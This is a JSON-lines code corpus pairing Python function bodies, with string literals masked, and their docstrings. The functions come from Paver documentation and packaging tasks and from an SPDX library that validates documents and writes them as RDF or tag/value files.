{"signature": "@task<EOL>def ghpages():", "body": "<EOL>opts = options<EOL>docroot = path(opts.get('<STR_LIT>', '<STR_LIT>'))<EOL>if not docroot.exists():<EOL><INDENT>raise BuildFailure(\"<STR_LIT>\"<EOL>% docroot)<EOL><DEDENT>builddir = docroot / opts.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>builddir=builddir / '<STR_LIT:html>'<EOL>if not builddir.exists():<EOL><INDENT>raise BuildFailure(\"<STR_LIT>\"<EOL>% builddir)<EOL><DEDENT>nojekyll = path(builddir) / '<STR_LIT>'<EOL>nojekyll.touch()<EOL>sh('<STR_LIT>' % (builddir))<EOL>", "docstring": "Push Sphinx docs to github_ gh-pages branch.\n\n     1. Create file .nojekyll\n     2. Push the branch to origin/gh-pages\n        after committing using ghp-import_\n\n    Requirements:\n     - easy_install ghp-import\n\n    Options:\n     - `options.paved.docs.*` is not used\n     - `options.sphinx.docroot` is used (default=docs)\n     - `options.sphinx.builddir` is used (default=.build)\n\n    .. warning::\n        This will DESTROY your gh-pages branch.\n        If you love it, you'll want to take backups\n        before playing with this. This script assumes\n        that gh-pages is 100% derivative. You should\n        never edit files in your gh-pages branch by hand\n        if you're using this script because you will\n        lose your work.\n\n    .. _github: https://github.com\n    .. _ghp-import: https://github.com/davisp/ghp-import", "id": "f3730:m4"}
{"signature": "@task<EOL>def showhtml():", "body": "import webbrowser<EOL>opts = options<EOL>docroot = path(opts.get('<STR_LIT>', '<STR_LIT>'))<EOL>if not docroot.exists():<EOL><INDENT>raise BuildFailure(\"<STR_LIT>\"<EOL>% docroot)<EOL><DEDENT>builddir = docroot / opts.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>builddir=builddir / '<STR_LIT:html>'<EOL>if not builddir.exists():<EOL><INDENT>raise BuildFailure(\"<STR_LIT>\"<EOL>% builddir)<EOL><DEDENT>webbrowser.open(builddir / '<STR_LIT>')<EOL>", "docstring": "Open your web browser and display the generated html documentation.", "id": "f3730:m5"}
{"signature": "@task<EOL>def manifest():", "body": "prune = options.paved.dist.manifest.prune<EOL>graft = set()<EOL>if options.paved.dist.manifest.include_sphinx_docroot:<EOL><INDENT>docroot = options.get('<STR_LIT>', '<STR_LIT>')<EOL>graft.update([docroot])<EOL>if options.paved.dist.manifest.exclude_sphinx_builddir:<EOL><INDENT>builddir = docroot + '<STR_LIT:/>' + options.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>prune.update([builddir])<EOL><DEDENT><DEDENT>with open(options.paved.cwd / '<STR_LIT>', '<STR_LIT:w>') as fo:<EOL><INDENT>for item in graft:<EOL><INDENT>fo.write('<STR_LIT>' % item)<EOL><DEDENT>for item in options.paved.dist.manifest.include:<EOL><INDENT>fo.write('<STR_LIT>' % item)<EOL><DEDENT>for item in options.paved.dist.manifest.recursive_include:<EOL><INDENT>fo.write('<STR_LIT>' % item)<EOL><DEDENT>for item in prune:<EOL><INDENT>fo.write('<STR_LIT>' % item)<EOL><DEDENT><DEDENT>", "docstring": "Guarantee the existence of a basic MANIFEST.in.\n\n    manifest doc: http://docs.python.org/distutils/sourcedist.html#manifest\n\n    `options.paved.dist.manifest.include`: set of files (or globs) to include with the `include` directive.\n\n    `options.paved.dist.manifest.recursive_include`: set of files (or globs) to include with the `recursive-include` directive.\n\n    `options.paved.dist.manifest.prune`: set of files (or globs) to exclude with the `prune` directive.\n\n    `options.paved.dist.manifest.include_sphinx_docroot`: True -> sphinx docroot is added as `graft`\n\n    `options.paved.dist.manifest.include_sphinx_docroot`: True -> sphinx builddir is added as `prune`", "id": "f3731:m0"}
{"signature": "@task<EOL>@needs('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>def sdist():", "body": "pass<EOL>", "docstring": "Overrides sdist to make sure that our setup.py is generated.", "id": "f3731:m1"}
{"signature": "@task<EOL>@needs('<STR_LIT>', '<STR_LIT>')<EOL>def upload():", "body": "pass<EOL>", "docstring": "Upload the package to PyPI.", "id": "f3731:m2"}
{"signature": "@task<EOL>@consume_args<EOL>def pip_install(args):", "body": "util.pip_install(*args)<EOL>", "docstring": "Send the given arguments to `pip install`.", "id": "f3732:m0"}
{"signature": "@task<EOL>def easy_install(args):", "body": "util.easy_install(*args)<EOL>", "docstring": "Send the given arguments to `easy_install`.", "id": "f3732:m1"}
{"signature": "def validate(self, messages):", "body": "messages = self.validate_creators(messages)<EOL>messages = self.validate_created(messages)<EOL>return messages<EOL>", "docstring": "Returns True if the fields are valid according to the SPDX standard.\n        Appends user friendly messages to the messages parameter.", "id": "f3735:c4:m6"}
{"signature": "def load_license_list(file_name):", "body": "licenses_map = {}<EOL>with codecs.open(file_name, '<STR_LIT:rb>', encoding='<STR_LIT:utf-8>') as lics:<EOL><INDENT>licenses = json.load(lics)<EOL>version = licenses['<STR_LIT>'].split('<STR_LIT:.>')<EOL>for lic in licenses['<STR_LIT>']:<EOL><INDENT>if lic.get('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>name = lic['<STR_LIT:name>']<EOL>identifier = lic['<STR_LIT>']<EOL>licenses_map[name] = identifier<EOL>licenses_map[identifier] = name<EOL><DEDENT><DEDENT>return version, licenses_map<EOL>", "docstring": "Return the licenses list version tuple and a mapping of licenses\nname->id and id->name loaded from a JSON file\nfrom https://github.com/spdx/license-list-data", "id": "f3736:m0"}
{"signature": "def _add_parens(required, text):", "body": "return '<STR_LIT>'.format(text) if required else text<EOL>", "docstring": "Add parens around a license expression if `required` is True, otherwise\nreturn `text` unmodified.", "id": "f3738:m0"}
{"signature": "def validate(self, messages):", "body": "messages = self.validate_ext_doc_id(messages)<EOL>messages = self.validate_spdx_doc_uri(messages)<EOL>messages = self.validate_checksum(messages)<EOL>return messages<EOL>", "docstring": "Validate all fields of the ExternalDocumentRef class and update the\nmessages list with user friendly error messages for display.", "id": "f3738:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_identifier(cls, identifier):<DEDENT>", "body": "if identifier in config.LICENSE_MAP.keys():<EOL><INDENT>return cls(config.LICENSE_MAP[identifier], identifier)<EOL><DEDENT>else:<EOL><INDENT>return cls(identifier, identifier)<EOL><DEDENT>", "docstring": "If identifier exists in config.LICENSE_MAP\n        the full_name is retrieved from it. Otherwise\n        the full_name is the same as the identifier.", "id": "f3738:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_full_name(cls, full_name):<DEDENT>", "body": "if full_name in config.LICENSE_MAP.keys():<EOL><INDENT>return cls(full_name, config.LICENSE_MAP[full_name])<EOL><DEDENT>else:<EOL><INDENT>return cls(full_name, full_name)<EOL><DEDENT>", "docstring": "Returna new License for a full_name. If the full_name exists in\nconfig.LICENSE_MAP the identifier is retrieved from it.\nOtherwise the identifier is the same as the full_name.", "id": "f3738:c1:m2"}
{"signature": "def validate(self, messages):", "body": "messages = self.validate_version(messages)<EOL>messages = self.validate_data_lics(messages)<EOL>messages = self.validate_name(messages)<EOL>messages = self.validate_spdx_id(messages)<EOL>messages = self.validate_namespace(messages)<EOL>messages = self.validate_ext_document_references(messages)<EOL>messages = self.validate_creation_info(messages)<EOL>messages = self.validate_package(messages)<EOL>messages = self.validate_extracted_licenses(messages)<EOL>messages = self.validate_reviews(messages)<EOL>return messages<EOL>", "docstring": "Validate all fields of the document and update the\nmessages list with user friendly error messages for display.", "id": "f3738:c5:m8"}
{"signature": "@classmethod<EOL><INDENT>def from_str(cls, value):<DEDENT>", "body": "m = cls.VERS_STR_REGEX.match(value)<EOL>if m is not None:<EOL><INDENT>return cls(int(m.group(<NUM_LIT:1>)), int(m.group(<NUM_LIT:2>)))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Constructs a Version from a string.\n        Returns None if string not in N.N form where N represents a\n        number.", "id": "f3739:c0:m1"}
{"signature": "def tv_to_rdf(infile_name, outfile_name):", "body": "parser = Parser(Builder(), StandardLogger())<EOL>parser.build()<EOL>with open(infile_name) as infile:<EOL><INDENT>data = infile.read()<EOL>document, error = parser.parse(data)<EOL>if not error:<EOL><INDENT>with open(outfile_name, mode='<STR_LIT:w>') as outfile:<EOL><INDENT>write_document(document, outfile)<EOL><DEDENT>return True<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>messages = []<EOL>document.validate(messages)<EOL>print('<STR_LIT:\\n>'.join(messages))<EOL>return False<EOL><DEDENT><DEDENT>", "docstring": "Convert a SPDX file from tag/value format to RDF format.\nReturn True on sucess, False otherwise.", "id": "f3740:m0"}
{"signature": "def validate(self, messages):", "body": "messages = self.validate_reviewer(messages)<EOL>messages = self.validate_review_date(messages)<EOL>return messages<EOL>", "docstring": "Returns True if all the fields are valid.\n        Appends any error messages to messages parameter.", "id": "f3741:c0:m6"}
{"signature": "def write_document(document, out, validate=True):", "body": "if validate:<EOL><INDENT>messages = []<EOL>messages = document.validate(messages)<EOL>if messages:<EOL><INDENT>raise InvalidDocumentError(messages)<EOL><DEDENT><DEDENT>writer = Writer(document, out)<EOL>writer.write()<EOL>", "docstring": "Write an SPDX RDF document.\n- document - spdx.document instance.\n- out - file like object that will be written to.\nOptionally `validate` the document before writing and raise\nInvalidDocumentError if document.validate returns False.", "id": "f3742:m0"}
{"signature": "def create_checksum_node(self, chksum):", "body": "chksum_node = BNode()<EOL>type_triple = (chksum_node, RDF.type, self.spdx_namespace.Checksum)<EOL>self.graph.add(type_triple)<EOL>algorithm_triple = (chksum_node, self.spdx_namespace.algorithm, Literal(chksum.identifier))<EOL>self.graph.add(algorithm_triple)<EOL>value_triple = (chksum_node, self.spdx_namespace.checksumValue, Literal(chksum.value))<EOL>self.graph.add(value_triple)<EOL>return chksum_node<EOL>", "docstring": "Return a node representing spdx.checksum.", "id": "f3742:c0:m1"}
{"signature": "def to_special_value(self, value):", "body": "if isinstance(value, utils.NoAssert):<EOL><INDENT>return self.spdx_namespace.noassertion<EOL><DEDENT>elif isinstance(value, utils.SPDXNone):<EOL><INDENT>return self.spdx_namespace.none<EOL><DEDENT>else:<EOL><INDENT>return Literal(value)<EOL><DEDENT>", "docstring": "Return proper spdx term or Literal", "id": "f3742:c0:m2"}
{"signature": "def licenses_from_tree(self, tree):", "body": "<EOL>licenses = set()<EOL>self.licenses_from_tree_helper(tree, licenses)<EOL>return licenses<EOL>", "docstring": "Traverse conjunctions and disjunctions like trees and return a\nset of all licenses in it as nodes.", "id": "f3742:c1:m2"}
{"signature": "def create_conjunction_node(self, conjunction):", "body": "node = BNode()<EOL>type_triple = (node, RDF.type, self.spdx_namespace.ConjunctiveLicenseSet)<EOL>self.graph.add(type_triple)<EOL>licenses = self.licenses_from_tree(conjunction)<EOL>for lic in licenses:<EOL><INDENT>member_triple = (node, self.spdx_namespace.member, lic)<EOL>self.graph.add(member_triple)<EOL><DEDENT>return node<EOL>", "docstring": "Return a node representing a conjunction of licenses.", "id": "f3742:c1:m3"}
{"signature": "def create_disjunction_node(self, disjunction):", "body": "node = BNode()<EOL>type_triple = (node, RDF.type, self.spdx_namespace.DisjunctiveLicenseSet)<EOL>self.graph.add(type_triple)<EOL>licenses = self.licenses_from_tree(disjunction)<EOL>for lic in licenses:<EOL><INDENT>member_triple = (node, self.spdx_namespace.member, lic)<EOL>self.graph.add(member_triple)<EOL><DEDENT>return node<EOL>", "docstring": "Return a node representing a disjunction of licenses.", "id": "f3742:c1:m4"}
{"signature": "def create_license_helper(self, lic):", "body": "if isinstance(lic, document.ExtractedLicense):<EOL><INDENT>return self.create_extracted_license(lic)<EOL><DEDENT>if lic.identifier.rstrip('<STR_LIT:+>') in config.LICENSE_MAP:<EOL><INDENT>return URIRef(lic.url)<EOL><DEDENT>else:<EOL><INDENT>matches = [l for l in self.document.extracted_licenses if l.identifier == lic.identifier]<EOL>if len(matches) != <NUM_LIT:0>:<EOL><INDENT>return self.create_extracted_license(matches[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise InvalidDocumentError('<STR_LIT>'.format(lic.identifier))<EOL><DEDENT><DEDENT>", "docstring": "Handle single(no conjunction/disjunction) licenses.\nReturn the created node.", "id": "f3742:c1:m5"}
{"signature": "def create_extracted_license(self, lic):", "body": "licenses = list(self.graph.triples((None, self.spdx_namespace.licenseId, lic.identifier)))<EOL>if len(licenses) != <NUM_LIT:0>:<EOL><INDENT>return licenses[<NUM_LIT:0>][<NUM_LIT:0>]  <EOL><DEDENT>else:<EOL><INDENT>license_node = BNode()<EOL>type_triple = (license_node, RDF.type, self.spdx_namespace.ExtractedLicensingInfo)<EOL>self.graph.add(type_triple)<EOL>ident_triple = (license_node, self.spdx_namespace.licenseId, Literal(lic.identifier))<EOL>self.graph.add(ident_triple)<EOL>text_triple = (license_node, self.spdx_namespace.extractedText, Literal(lic.text))<EOL>self.graph.add(text_triple)<EOL>if lic.full_name is not None:<EOL><INDENT>name_triple = (license_node, self.spdx_namespace.licenseName, self.to_special_value(lic.full_name))<EOL>self.graph.add(name_triple)<EOL><DEDENT>for ref in lic.cross_ref:<EOL><INDENT>triple = (license_node, RDFS.seeAlso, URIRef(ref))<EOL>self.graph.add(triple)<EOL><DEDENT>if lic.comment is not None:<EOL><INDENT>comment_triple = (license_node, RDFS.comment, Literal(lic.comment))<EOL>self.graph.add(comment_triple)<EOL><DEDENT>return license_node<EOL><DEDENT>", "docstring": "Handle extracted license.\nReturn the license node.", "id": "f3742:c1:m6"}
{"signature": "def create_license_node(self, lic):", "body": "if isinstance(lic, document.LicenseConjunction):<EOL><INDENT>return self.create_conjunction_node(lic)<EOL><DEDENT>elif isinstance(lic, document.LicenseDisjunction):<EOL><INDENT>return self.create_disjunction_node(lic)<EOL><DEDENT>else:<EOL><INDENT>return self.create_license_helper(lic)<EOL><DEDENT>", "docstring": "Return a node representing a license.\nCould be a single license (extracted or part of license list.) or\na conjunction/disjunction of licenses.", "id": "f3742:c1:m7"}
{"signature": "def license_or_special(self, lic):", "body": "if isinstance(lic, utils.NoAssert):<EOL><INDENT>return self.spdx_namespace.noassertion<EOL><DEDENT>elif isinstance(lic, utils.SPDXNone):<EOL><INDENT>return self.spdx_namespace.none<EOL><DEDENT>else:<EOL><INDENT>return self.create_license_node(lic)<EOL><DEDENT>", "docstring": "Check for special values spdx:none and spdx:noassertion.\nReturn the term for the special value or the result of passing\nlicense to create_license_node.", "id": "f3742:c1:m8"}
{"signature": "def create_file_node(self, doc_file):", "body": "file_node = URIRef('<STR_LIT>'.format(<EOL>id=str(doc_file.spdx_id)))<EOL>type_triple = (file_node, RDF.type, self.spdx_namespace.File)<EOL>self.graph.add(type_triple)<EOL>name_triple = (file_node, self.spdx_namespace.fileName, Literal(doc_file.name))<EOL>self.graph.add(name_triple)<EOL>if doc_file.has_optional_field('<STR_LIT>'):<EOL><INDENT>comment_triple = (file_node, RDFS.comment, Literal(doc_file.comment))<EOL>self.graph.add(comment_triple)<EOL><DEDENT>if doc_file.has_optional_field('<STR_LIT:type>'):<EOL><INDENT>ftype = self.spdx_namespace[self.FILE_TYPES[doc_file.type]]<EOL>ftype_triple = (file_node, self.spdx_namespace.fileType, ftype)<EOL>self.graph.add(ftype_triple)<EOL><DEDENT>self.graph.add((file_node, self.spdx_namespace.checksum, self.create_checksum_node(doc_file.chk_sum)))<EOL>conc_lic_node = self.license_or_special(doc_file.conc_lics)<EOL>conc_lic_triple = (file_node, self.spdx_namespace.licenseConcluded, conc_lic_node)<EOL>self.graph.add(conc_lic_triple)<EOL>license_info_nodes = map(self.license_or_special, doc_file.licenses_in_file)<EOL>for lic in license_info_nodes:<EOL><INDENT>triple = (file_node, self.spdx_namespace.licenseInfoInFile, lic)<EOL>self.graph.add(triple)<EOL><DEDENT>if doc_file.has_optional_field('<STR_LIT>'):<EOL><INDENT>comment_triple = (file_node, self.spdx_namespace.licenseComments, Literal(doc_file.license_comment))<EOL>self.graph.add(comment_triple)<EOL><DEDENT>cr_text_node = self.to_special_value(doc_file.copyright)<EOL>cr_text_triple = (file_node, self.spdx_namespace.copyrightText, cr_text_node)<EOL>self.graph.add(cr_text_triple)<EOL>if doc_file.has_optional_field('<STR_LIT>'):<EOL><INDENT>notice_triple = (file_node, self.spdx_namespace.noticeText, doc_file.notice)<EOL>self.graph.add(notice_triple)<EOL><DEDENT>contrib_nodes = map(lambda c: Literal(c), doc_file.contributors)<EOL>contrib_triples = [(file_node, self.spdx_namespace.fileContributor, node) for node in contrib_nodes]<EOL>for triple in contrib_triples:<EOL><INDENT>self.graph.add(triple)<EOL><DEDENT>return file_node<EOL>", "docstring": "Create a node for spdx.file.", "id": "f3742:c2:m1"}
{"signature": "def files(self):", "body": "return map(self.create_file_node, self.document.files)<EOL>", "docstring": "Return list of file nodes.", "id": "f3742:c2:m2"}
{"signature": "def add_file_dependencies_helper(self, doc_file):", "body": "subj_triples = list(self.graph.triples((None, self.spdx_namespace.fileName, Literal(doc_file.name))))<EOL>if len(subj_triples) != <NUM_LIT:1>:<EOL><INDENT>raise InvalidDocumentError('<STR_LIT>'.format(doc_file.name))<EOL><DEDENT>subject_node = subj_triples[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>for dependency in doc_file.dependencies:<EOL><INDENT>dep_triples = list(self.graph.triples((None, self.spdx_namespace.fileName, Literal(dependency))))<EOL>if len(dep_triples) == <NUM_LIT:1>:<EOL><INDENT>dep_node = dep_triples[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>dep_triple = (subject_node, self.spdx_namespace.fileDependency, dep_node)<EOL>self.graph.add(dep_triple)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'.format(doc_file.name, dependency))<EOL><DEDENT><DEDENT>", "docstring": "Handle dependencies for a single file.\n- doc_file - instance of spdx.file.File.", "id": "f3742:c2:m3"}
{"signature": "def add_file_dependencies(self):", "body": "for doc_file in self.document.files:<EOL><INDENT>self.add_file_dependencies_helper(doc_file)<EOL><DEDENT>", "docstring": "Add file dependencies to the graph.\nCalled after all files have been added.", "id": "f3742:c2:m4"}
{"signature": "def create_review_node(self, review):", "body": "review_node = BNode()<EOL>type_triple = (review_node, RDF.type, self.spdx_namespace.Review)<EOL>self.graph.add(type_triple)<EOL>reviewer_node = Literal(review.reviewer.to_value())<EOL>self.graph.add((review_node, self.spdx_namespace.reviewer, reviewer_node))<EOL>reviewed_date_node = Literal(review.review_date_iso_format)<EOL>reviewed_triple = (review_node, self.spdx_namespace.reviewDate, reviewed_date_node)<EOL>self.graph.add(reviewed_triple)<EOL>if review.has_comment:<EOL><INDENT>comment_node = Literal(review.comment)<EOL>comment_triple = (review_node, RDFS.comment, comment_node)<EOL>self.graph.add(comment_triple)<EOL><DEDENT>return review_node<EOL>", "docstring": "Return a review node.", "id": "f3742:c3:m1"}
{"signature": "def reviews(self):", "body": "return map(self.create_review_node, self.document.reviews)<EOL>", "docstring": "Returns a list of review nodes", "id": "f3742:c3:m2"}
{"signature": "def create_annotation_node(self, annotation):", "body": "annotation_node = URIRef(str(annotation.spdx_id))<EOL>type_triple = (annotation_node, RDF.type, self.spdx_namespace.Annotation)<EOL>self.graph.add(type_triple)<EOL>annotator_node = Literal(annotation.annotator.to_value())<EOL>self.graph.add((annotation_node, self.spdx_namespace.annotator, annotator_node))<EOL>annotation_date_node = Literal(annotation.annotation_date_iso_format)<EOL>annotation_triple = (annotation_node, self.spdx_namespace.annotationDate, annotation_date_node)<EOL>self.graph.add(annotation_triple)<EOL>if annotation.has_comment:<EOL><INDENT>comment_node = Literal(annotation.comment)<EOL>comment_triple = (annotation_node, RDFS.comment, comment_node)<EOL>self.graph.add(comment_triple)<EOL><DEDENT>annotation_type_node = Literal(annotation.annotation_type)<EOL>annotation_type_triple = (annotation_node, self.spdx_namespace.annotationType, annotation_type_node)<EOL>self.graph.add(annotation_type_triple)<EOL>return annotation_node<EOL>", "docstring": "Return an annotation node.", "id": "f3742:c4:m1"}
{"signature": "def annotations(self):", "body": "return map(self.create_annotation_node, self.document.annotations)<EOL>", "docstring": "Returns a list of annotation nodes", "id": "f3742:c4:m2"}
{"signature": "def creators(self):", "body": "return map(lambda c: Literal(c.to_value()), self.document.creation_info.creators)<EOL>", "docstring": "Return a list of creator nodes.\nNote: Does not add anything to the graph.", "id": "f3742:c5:m1"}
{"signature": "def create_creation_info(self):", "body": "ci_node = BNode()<EOL>type_triple = (ci_node, RDF.type, self.spdx_namespace.CreationInfo)<EOL>self.graph.add(type_triple)<EOL>created_date = Literal(self.document.creation_info.created_iso_format)<EOL>created_triple = (ci_node, self.spdx_namespace.created, created_date)<EOL>self.graph.add(created_triple)<EOL>creators = self.creators()<EOL>for creator in creators:<EOL><INDENT>self.graph.add((ci_node, self.spdx_namespace.creator, creator))<EOL><DEDENT>if self.document.creation_info.has_comment:<EOL><INDENT>comment_node = Literal(self.document.creation_info.comment)<EOL>comment_triple = (ci_node, RDFS.comment, comment_node)<EOL>self.graph.add(comment_triple)<EOL><DEDENT>return ci_node<EOL>", "docstring": "Add and return a creation info node to graph", "id": "f3742:c5:m2"}
{"signature": "def create_external_document_ref_node(self, ext_document_references):", "body": "ext_doc_ref_node = BNode()<EOL>type_triple = (ext_doc_ref_node, RDF.type, self.spdx_namespace.ExternalDocumentRef)<EOL>self.graph.add(type_triple)<EOL>ext_doc_id = Literal(<EOL>ext_document_references.external_document_id)<EOL>ext_doc_id_triple = (<EOL>ext_doc_ref_node, self.spdx_namespace.externalDocumentId, ext_doc_id)<EOL>self.graph.add(ext_doc_id_triple)<EOL>doc_uri = Literal(<EOL>ext_document_references.spdx_document_uri)<EOL>doc_uri_triple = (<EOL>ext_doc_ref_node, self.spdx_namespace.spdxDocument, doc_uri)<EOL>self.graph.add(doc_uri_triple)<EOL>checksum_node = self.create_checksum_node(<EOL>ext_document_references.check_sum)<EOL>self.graph.add(<EOL>(ext_doc_ref_node, self.spdx_namespace.checksum, checksum_node))<EOL>return ext_doc_ref_node<EOL>", "docstring": "Add and return a creation info node to graph", "id": "f3742:c6:m1"}
{"signature": "def ext_doc_refs(self):", "body": "return map(self.create_external_document_ref_node,<EOL>self.document.ext_document_references)<EOL>", "docstring": "Returns a list of review nodes", "id": "f3742:c6:m2"}
{"signature": "def package_verif_node(self, package):", "body": "verif_node = BNode()<EOL>type_triple = (verif_node, RDF.type, self.spdx_namespace.PackageVerificationCode)<EOL>self.graph.add(type_triple)<EOL>value_triple = (verif_node, self.spdx_namespace.packageVerificationCodeValue, Literal(package.verif_code))<EOL>self.graph.add(value_triple)<EOL>excl_file_nodes = map(<EOL>lambda excl: Literal(excl), package.verif_exc_files)<EOL>excl_predicate = self.spdx_namespace.packageVerificationCodeExcludedFile<EOL>excl_file_triples = [(verif_node, excl_predicate, xcl_file) for xcl_file in excl_file_nodes]<EOL>for trp in excl_file_triples:<EOL><INDENT>self.graph.add(trp)<EOL><DEDENT>return verif_node<EOL>", "docstring": "Return a node representing package verification code.", "id": "f3742:c7:m1"}
{"signature": "def handle_package_literal_optional(self, package, package_node, predicate, field):", "body": "if package.has_optional_field(field):<EOL><INDENT>value = getattr(package, field, None)<EOL>value_node = self.to_special_value(value)<EOL>triple = (package_node, predicate, value_node)<EOL>self.graph.add(triple)<EOL><DEDENT>", "docstring": "Check if optional field is set.\nIf so it adds the triple (package_node, predicate, $) to the graph.\nWhere $ is a literal or special value term of the value of the field.", "id": "f3742:c7:m2"}
{"signature": "def handle_pkg_optional_fields(self, package, package_node):", "body": "self.handle_package_literal_optional(package, package_node, self.spdx_namespace.versionInfo, '<STR_LIT:version>')<EOL>self.handle_package_literal_optional(package, package_node, self.spdx_namespace.packageFileName, '<STR_LIT>')<EOL>self.handle_package_literal_optional(package, package_node, self.spdx_namespace.supplier, '<STR_LIT>')<EOL>self.handle_package_literal_optional(package, package_node, self.spdx_namespace.originator, '<STR_LIT>')<EOL>self.handle_package_literal_optional(package, package_node, self.spdx_namespace.sourceInfo, '<STR_LIT>')<EOL>self.handle_package_literal_optional(package, package_node, self.spdx_namespace.licenseComments, '<STR_LIT>')<EOL>self.handle_package_literal_optional(package, package_node, self.spdx_namespace.summary, '<STR_LIT>')<EOL>self.handle_package_literal_optional(package, package_node, self.spdx_namespace.description, '<STR_LIT:description>')<EOL>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>checksum_node = self.create_checksum_node(package.check_sum)<EOL>self.graph.add((package_node, self.spdx_namespace.checksum, checksum_node))<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>homepage_node = URIRef(self.to_special_value(package.homepage))<EOL>homepage_triple = (package_node, self.doap_namespace.homepage, homepage_node)<EOL>self.graph.add(homepage_triple)<EOL><DEDENT>", "docstring": "Write package optional fields.", "id": "f3742:c7:m3"}
{"signature": "def create_package_node(self, package):", "body": "package_node = BNode()<EOL>type_triple = (package_node, RDF.type, self.spdx_namespace.Package)<EOL>self.graph.add(type_triple)<EOL>self.handle_pkg_optional_fields(package, package_node)<EOL>name_triple = (package_node, self.spdx_namespace.name, Literal(package.name))<EOL>self.graph.add(name_triple)<EOL>down_loc_node = (package_node, self.spdx_namespace.downloadLocation, self.to_special_value(package.download_location))<EOL>self.graph.add(down_loc_node)<EOL>verif_node = self.package_verif_node(package)<EOL>verif_triple = (package_node, self.spdx_namespace.packageVerificationCode, verif_node)<EOL>self.graph.add(verif_triple)<EOL>conc_lic_node = self.license_or_special(package.conc_lics)<EOL>conc_lic_triple = (package_node, self.spdx_namespace.licenseConcluded, conc_lic_node)<EOL>self.graph.add(conc_lic_triple)<EOL>decl_lic_node = self.license_or_special(package.license_declared)<EOL>decl_lic_triple = (package_node, self.spdx_namespace.licenseDeclared, decl_lic_node)<EOL>self.graph.add(decl_lic_triple)<EOL>licenses_from_files_nodes = map(lambda el: self.license_or_special(el), package.licenses_from_files)<EOL>lic_from_files_predicate = self.spdx_namespace.licenseInfoFromFiles<EOL>lic_from_files_triples = [(package_node, lic_from_files_predicate, node) for node in licenses_from_files_nodes]<EOL>for triple in lic_from_files_triples:<EOL><INDENT>self.graph.add(triple)<EOL><DEDENT>cr_text_node = self.to_special_value(package.cr_text)<EOL>cr_text_triple = (package_node, self.spdx_namespace.copyrightText, cr_text_node)<EOL>self.graph.add(cr_text_triple)<EOL>self.handle_package_has_file(package, package_node)<EOL>return package_node<EOL>", "docstring": "Return a Node representing the package.\nFiles must have been added to the graph before this method is called.", "id": "f3742:c7:m4"}
{"signature": "def packages(self):", "body": "<EOL>return self.create_package_node(self.document.package)<EOL>", "docstring": "Return a node that represents the package in the graph.\nCall this function to write package info.", "id": "f3742:c7:m5"}
{"signature": "def handle_package_has_file_helper(self, pkg_file):", "body": "nodes = list(self.graph.triples((None, self.spdx_namespace.fileName, Literal(pkg_file.name))))<EOL>if len(nodes) == <NUM_LIT:1>:<EOL><INDENT>return nodes[<NUM_LIT:0>][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise InvalidDocumentError('<STR_LIT>' +<EOL>'<STR_LIT>'.format(pkg_file.name))<EOL><DEDENT>", "docstring": "Return node representing pkg_file\npkg_file should be instance of spdx.file.", "id": "f3742:c7:m6"}
{"signature": "def handle_package_has_file(self, package, package_node):", "body": "file_nodes = map(self.handle_package_has_file_helper, package.files)<EOL>triples = [(package_node, self.spdx_namespace.hasFile, node) for node in file_nodes]<EOL>for triple in triples:<EOL><INDENT>self.graph.add(triple)<EOL><DEDENT>", "docstring": "Add hasFile triples to graph.\nMust be called after files have been added.", "id": "f3742:c7:m7"}
{"signature": "def __init__(self, document, out):", "body": "super(Writer, self).__init__(document, out)<EOL>", "docstring": "- document is spdx.document instance that will be written.\n- out is a file-like object that will be written to.", "id": "f3742:c8:m0"}
{"signature": "def create_doc(self):", "body": "doc_node = URIRef('<STR_LIT>')<EOL>self.graph.add((doc_node, RDF.type, self.spdx_namespace.SpdxDocument))<EOL>vers_literal = Literal(str(self.document.version))<EOL>self.graph.add((doc_node, self.spdx_namespace.specVersion, vers_literal))<EOL>data_lics = URIRef(self.document.data_license.url)<EOL>self.graph.add((doc_node, self.spdx_namespace.dataLicense, data_lics))<EOL>doc_name = URIRef(self.document.name)<EOL>self.graph.add((doc_node, self.spdx_namespace.name, doc_name))<EOL>return doc_node<EOL>", "docstring": "Add and return the root document node to graph.", "id": "f3742:c8:m1"}
{"signature": "def write_creation_info(creation_info, out):", "body": "out.write('<STR_LIT>')<EOL>for creator in sorted(creation_info.creators):<EOL><INDENT>write_value('<STR_LIT>', creator, out)<EOL><DEDENT>write_value('<STR_LIT>', creation_info.created_iso_format, out)<EOL>if creation_info.has_comment:<EOL><INDENT>write_text_value('<STR_LIT>', creation_info.comment, out)<EOL><DEDENT>", "docstring": "Write the creation info to out.", "id": "f3743:m4"}
{"signature": "def write_review(review, out):", "body": "out.write('<STR_LIT>')<EOL>write_value('<STR_LIT>', review.reviewer, out)<EOL>write_value('<STR_LIT>', review.review_date_iso_format, out)<EOL>if review.has_comment:<EOL><INDENT>write_text_value('<STR_LIT>', review.comment, out)<EOL><DEDENT>", "docstring": "Write the fields of a single review to out.", "id": "f3743:m5"}
{"signature": "def write_annotation(annotation, out):", "body": "out.write('<STR_LIT>')<EOL>write_value('<STR_LIT>', annotation.annotator, out)<EOL>write_value('<STR_LIT>', annotation.annotation_date_iso_format, out)<EOL>if annotation.has_comment:<EOL><INDENT>write_text_value('<STR_LIT>', annotation.comment, out)<EOL><DEDENT>write_value('<STR_LIT>', annotation.annotation_type, out)<EOL>write_value('<STR_LIT>', annotation.spdx_id, out)<EOL>", "docstring": "Write the fields of a single annotation to out.", "id": "f3743:m6"}
